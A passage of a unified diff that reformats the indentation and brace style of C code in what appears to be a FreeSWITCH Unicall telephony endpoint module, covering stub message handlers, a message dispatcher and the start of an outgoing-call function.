- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_write_frame(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "unicall_write_frame(%p)\n", (void *) session);
- if (!switch_test_flag(tech_pvt, TFLAG_IO))
- return SWITCH_STATUS_FALSE;
+ if (!switch_test_flag(tech_pvt, TFLAG_IO))
+ return SWITCH_STATUS_FALSE;
#if SWITCH_BYTE_ORDER == __BIG_ENDIAN
- if (switch_test_flag(tech_pvt, TFLAG_LINEAR))
- switch_swap_linear(frame->data, (int) frame->datalen/sizeof(int16_t));
+ if (switch_test_flag(tech_pvt, TFLAG_LINEAR))
+ switch_swap_linear(frame->data, (int) frame->datalen / sizeof(int16_t));
#endif
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
static switch_status_t redirect_audio(switch_core_session_t *session, switch_core_session_message_t *msg)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
+ uc_t *uc;
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ uc = tech_pvt->uc;
+ assert(uc != NULL);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "redirect_audio(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "redirect_audio(%p)\n", (void *) session);
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
static switch_status_t transmit_text(switch_core_session_t *session, switch_core_session_message_t *msg)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
+ uc_t *uc;
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ uc = tech_pvt->uc;
+ assert(uc != NULL);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "transmit_text(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "transmit_text(%p)\n", (void *) session);
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
static switch_status_t answer(switch_core_session_t *session, switch_core_session_message_t *msg)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
+ uc_t *uc;
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ uc = tech_pvt->uc;
+ assert(uc != NULL);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "answer(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "answer(%p)\n", (void *) session);
#if 0
- if ((ret = uc_call_control(uc, UC_OP_ANSWERCALL, crn, NULL)) < 0)
- {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Answer call failed - %s\n", uc_ret_to_str(ret));
- return SWITCH_STATUS_FAILED;
- }
- /*endif*/
+ if ((ret = uc_call_control(uc, UC_OP_ANSWERCALL, crn, NULL)) < 0) {
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Answer call failed - %s\n", uc_ret_to_str(ret));
+ return SWITCH_STATUS_FAILED;
+ }
+ /*endif */
#endif
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
static switch_status_t progress(switch_core_session_t *session, switch_core_session_message_t *msg)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
+ uc_t *uc;
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ uc = tech_pvt->uc;
+ assert(uc != NULL);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "progress(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "progress(%p)\n", (void *) session);
#if 0
- if ((ret = uc_call_control(uc, UC_OP_ACCEPTCALL, crn, NULL)) < 0)
- {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Accept call failed - %s\n", uc_ret_to_str(ret));
- return SWITCH_STATUS_FAILED;
- }
- /*endif*/
+ if ((ret = uc_call_control(uc, UC_OP_ACCEPTCALL, crn, NULL)) < 0) {
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Accept call failed - %s\n", uc_ret_to_str(ret));
+ return SWITCH_STATUS_FAILED;
+ }
+ /*endif */
#endif
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
static switch_status_t bridge(switch_core_session_t *session, switch_core_session_message_t *msg)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
+ uc_t *uc;
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ uc = tech_pvt->uc;
+ assert(uc != NULL);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "bridge(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "bridge(%p)\n", (void *) session);
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
static switch_status_t unbridge(switch_core_session_t *session, switch_core_session_message_t *msg)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
+ uc_t *uc;
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ uc = tech_pvt->uc;
+ assert(uc != NULL);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "unbridge(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "unbridge(%p)\n", (void *) session);
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
static switch_status_t transfer(switch_core_session_t *session, switch_core_session_message_t *msg)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
+ uc_t *uc;
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ uc = tech_pvt->uc;
+ assert(uc != NULL);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "transfer(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "transfer(%p)\n", (void *) session);
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
static switch_status_t ringing(switch_core_session_t *session, switch_core_session_message_t *msg)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
+ uc_t *uc;
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ uc = tech_pvt->uc;
+ assert(uc != NULL);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "ringing(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "ringing(%p)\n", (void *) session);
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
static switch_status_t media(switch_core_session_t *session, switch_core_session_message_t *msg)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
+ uc_t *uc;
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ uc = tech_pvt->uc;
+ assert(uc != NULL);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "media(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "media(%p)\n", (void *) session);
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
static switch_status_t nomedia(switch_core_session_t *session, switch_core_session_message_t *msg)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
+ uc_t *uc;
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ uc = tech_pvt->uc;
+ assert(uc != NULL);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "nomedia(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "nomedia(%p)\n", (void *) session);
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
static switch_status_t hold(switch_core_session_t *session, switch_core_session_message_t *msg)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
+ uc_t *uc;
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ uc = tech_pvt->uc;
+ assert(uc != NULL);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "hold(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "hold(%p)\n", (void *) session);
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
static switch_status_t unhold(switch_core_session_t *session, switch_core_session_message_t *msg)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
+ uc_t *uc;
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ uc = tech_pvt->uc;
+ assert(uc != NULL);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "unhold(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "unhold(%p)\n", (void *) session);
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
static switch_status_t redirect(switch_core_session_t *session, switch_core_session_message_t *msg)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
+ uc_t *uc;
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ uc = tech_pvt->uc;
+ assert(uc != NULL);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "redirect(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "redirect(%p)\n", (void *) session);
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
static switch_status_t respond(switch_core_session_t *session, switch_core_session_message_t *msg)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
+ uc_t *uc;
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ uc = tech_pvt->uc;
+ assert(uc != NULL);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "respond(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "respond(%p)\n", (void *) session);
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
static switch_status_t broadcast(switch_core_session_t *session, switch_core_session_message_t *msg)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
+ uc_t *uc;
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ uc = tech_pvt->uc;
+ assert(uc != NULL);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "broadcast(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "broadcast(%p)\n", (void *) session);
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
static switch_status_t media_redirect(switch_core_session_t *session, switch_core_session_message_t *msg)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
+ uc_t *uc;
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ uc = tech_pvt->uc;
+ assert(uc != NULL);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "media_redirect(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "media_redirect(%p)\n", (void *) session);
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
static switch_status_t deflect(switch_core_session_t *session, switch_core_session_message_t *msg)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
+ uc_t *uc;
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ uc = tech_pvt->uc;
+ assert(uc != NULL);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "deflect(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "deflect(%p)\n", (void *) session);
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
static switch_status_t video_refresh_req(switch_core_session_t *session, switch_core_session_message_t *msg)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
+ uc_t *uc;
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ uc = tech_pvt->uc;
+ assert(uc != NULL);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "video_refresh_req(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "video_refresh_req(%p)\n", (void *) session);
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
static switch_status_t display(switch_core_session_t *session, switch_core_session_message_t *msg)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
+ uc_t *uc;
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ uc = tech_pvt->uc;
+ assert(uc != NULL);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "display(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "display(%p)\n", (void *) session);
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
static switch_status_t unicall_receive_message(switch_core_session_t *session, switch_core_session_message_t *msg)
{
- switch (msg->message_id)
- {
- case SWITCH_MESSAGE_REDIRECT_AUDIO:
- return redirect_audio(session, msg);
- case SWITCH_MESSAGE_TRANSMIT_TEXT:
- return transmit_text(session, msg);
- case SWITCH_MESSAGE_INDICATE_ANSWER:
- return answer(session, msg);
- case SWITCH_MESSAGE_INDICATE_PROGRESS:
- return progress(session, msg);
- case SWITCH_MESSAGE_INDICATE_BRIDGE:
- return bridge(session, msg);
- case SWITCH_MESSAGE_INDICATE_UNBRIDGE:
- return unbridge(session, msg);
- case SWITCH_MESSAGE_INDICATE_TRANSFER:
- return transfer(session, msg);
- case SWITCH_MESSAGE_INDICATE_RINGING:
- return ringing(session, msg);
- case SWITCH_MESSAGE_INDICATE_MEDIA:
- return media(session, msg);
- case SWITCH_MESSAGE_INDICATE_NOMEDIA:
- return nomedia(session, msg);
- case SWITCH_MESSAGE_INDICATE_HOLD:
- return hold(session, msg);
- case SWITCH_MESSAGE_INDICATE_UNHOLD:
- return unhold(session, msg);
- case SWITCH_MESSAGE_INDICATE_REDIRECT:
- return redirect(session, msg);
- case SWITCH_MESSAGE_INDICATE_RESPOND:
- return respond(session, msg);
- case SWITCH_MESSAGE_INDICATE_BROADCAST:
- return broadcast(session, msg);
- case SWITCH_MESSAGE_INDICATE_MEDIA_REDIRECT:
- return media_redirect(session, msg);
- case SWITCH_MESSAGE_INDICATE_DEFLECT:
- return deflect(session, msg);
- case SWITCH_MESSAGE_INDICATE_VIDEO_REFRESH_REQ:
- return video_refresh_req(session, msg);
- case SWITCH_MESSAGE_INDICATE_DISPLAY:
- return display(session, msg);
- default:
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "unicall_receive_message(%p) %d\n", (void *) session, msg->message_id);
- break;
- }
+ switch (msg->message_id) {
+ case SWITCH_MESSAGE_REDIRECT_AUDIO:
+ return redirect_audio(session, msg);
+ case SWITCH_MESSAGE_TRANSMIT_TEXT:
+ return transmit_text(session, msg);
+ case SWITCH_MESSAGE_INDICATE_ANSWER:
+ return answer(session, msg);
+ case SWITCH_MESSAGE_INDICATE_PROGRESS:
+ return progress(session, msg);
+ case SWITCH_MESSAGE_INDICATE_BRIDGE:
+ return bridge(session, msg);
+ case SWITCH_MESSAGE_INDICATE_UNBRIDGE:
+ return unbridge(session, msg);
+ case SWITCH_MESSAGE_INDICATE_TRANSFER:
+ return transfer(session, msg);
+ case SWITCH_MESSAGE_INDICATE_RINGING:
+ return ringing(session, msg);
+ case SWITCH_MESSAGE_INDICATE_MEDIA:
+ return media(session, msg);
+ case SWITCH_MESSAGE_INDICATE_NOMEDIA:
+ return nomedia(session, msg);
+ case SWITCH_MESSAGE_INDICATE_HOLD:
+ return hold(session, msg);
+ case SWITCH_MESSAGE_INDICATE_UNHOLD:
+ return unhold(session, msg);
+ case SWITCH_MESSAGE_INDICATE_REDIRECT:
+ return redirect(session, msg);
+ case SWITCH_MESSAGE_INDICATE_RESPOND:
+ return respond(session, msg);
+ case SWITCH_MESSAGE_INDICATE_BROADCAST:
+ return broadcast(session, msg);
+ case SWITCH_MESSAGE_INDICATE_MEDIA_REDIRECT:
+ return media_redirect(session, msg);
+ case SWITCH_MESSAGE_INDICATE_DEFLECT:
+ return deflect(session, msg);
+ case SWITCH_MESSAGE_INDICATE_VIDEO_REFRESH_REQ:
+ return video_refresh_req(session, msg);
+ case SWITCH_MESSAGE_INDICATE_DISPLAY:
+ return display(session, msg);
+ default:
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "unicall_receive_message(%p) %d\n", (void *) session, msg->message_id);
+ break;
+ }
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
/* Make sure when you have 2 sessions in the same scope that you pass the appropriate one to the routines
that allocate memory or you will have 1 channel with memory allocated from another channel's pool!
*/
static switch_call_cause_t unicall_outgoing_channel(switch_core_session_t *session,
- switch_event_t *var_event,
- switch_caller_profile_t *outbound_profile,
- switch_core_session_t **new_session,
- switch_memory_pool_t **pool,
- switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
+ switch_event_t *var_event,
+ switch_caller_profile_t *outbound_profile,
+ switch_core_session_t **new_session,
+ switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
{
- private_t *tech_pvt;
- switch_channel_t *channel;
- switch_caller_profile_t *caller_profile;
- uc_t *uc;
- uc_makecall_t makecall;
- uc_callparms_t *callparms;
- int screen;
- int hide;
- char name[128];
+ private_t *tech_pvt;
+ switch_channel_t *channel;
+ switch_caller_profile_t *caller_profile;
+ uc_t *uc;
+ uc_makecall_t makecall;
+ uc_callparms_t *callparms;
+ int screen;
+ int hide;
+ char name[128];
-switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "unicall_outgoing_channel(%p)\n", (void *) session);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "unicall_outgoing_channel(%p)\n", (void *) session);
- if ((*new_session = switch_core_session_request(unicall_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) == NULL)
- {
- return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
- }
+ if ((*new_session = switch_core_session_request(unicall_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) == NULL) {
+ return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
+ }
- switch_core_session_add_stream(*new_session, NULL);
- if ((tech_pvt = (private_t *) switch_core_session_alloc(*new_session, sizeof(private_t))) == NULL)
- {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "Hey where is my memory pool?\n");
- switch_core_session_destroy(new_session);
- return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
- }
- channel = switch_core_session_get_channel(*new_session);
- tech_init(tech_pvt, *new_session);
+ switch_core_session_add_stream(*new_session, NULL);
+ if ((tech_pvt = (private_t *) switch_core_session_alloc(*new_session, sizeof(private_t))) == NULL) {
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "Hey where is my memory pool?\n");
+ switch_core_session_destroy(new_session);
+ return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
+ }
+ channel = switch_core_session_get_channel(*new_session);
+ tech_init(tech_pvt, *new_session);
- if (outbound_profile == NULL)
- {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Doh! no caller profile\n");
- switch_core_session_destroy(new_session);
- return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
- }
- snprintf(name, sizeof(name), "UNICALL/%s", outbound_profile->destination_number);
- switch_channel_set_name(channel, name);
+ if (outbound_profile == NULL) {
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Doh! no caller profile\n");
+ switch_core_session_destroy(new_session);
+ return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
+ }
+ snprintf(name, sizeof(name), "UNICALL/%s", outbound_profile->destination_number);
+ switch_channel_set_name(channel, name);
- caller_profile = switch_caller_profile_clone(*new_session, outbound_profile);
- switch_channel_set_caller_profile(channel, caller_profile);
- tech_pvt->caller_profile = caller_profile;
+ caller_profile = switch_caller_profile_clone(*new_session, outbound_profile);
+ switch_channel_set_caller_profile(channel, caller_profile);
+ tech_pvt->caller_profile = caller_profile;
- uc = tech_pvt->uc;
+ uc = tech_pvt->uc;
- if ((callparms = uc_new_callparms(NULL)) == NULL)
- return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
+ if ((callparms = uc_new_callparms(NULL)) == NULL)
+ return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
- //uc_callparm_bear_cap_transfer_cap(callparms, cap);
- //uc_callparm_bear_cap_transfer_mode(callparms, mode);
- //uc_callparm_bear_cap_transfer_rate(callparms, rate);
- //uc_callparm_userinfo_layer1_protocol(callparms, prot);
- //uc_callparm_user_rate(callparms, rate);
+ //uc_callparm_bear_cap_transfer_cap(callparms, cap);
+ //uc_callparm_bear_cap_transfer_mode(callparms, mode);
+ //uc_callparm_bear_cap_transfer_rate(callparms, rate);
+ //uc_callparm_userinfo_layer1_protocol(callparms, prot);
+ //uc_callparm_user_rate(callparms, rate);
-switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, "destination '%s'\n", outbound_profile->destination_number);
- uc_callparm_set_destination_number(callparms, outbound_profile->destination_number);
- uc_callparm_set_destination_ton(callparms, outbound_profile->destination_number_ton);
- uc_callparm_set_destination_npi(callparms, outbound_profile->destination_number_numplan);
- //uc_callparm_set_destination_sub_addr_number(callparms, num);
- //uc_callparm_set_destination_sub_addr_ton(callparms, ton);
- //uc_callparm_set_destination_sub_addr_npi(callparms, npi);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, "destination '%s'\n", outbound_profile->destination_number);
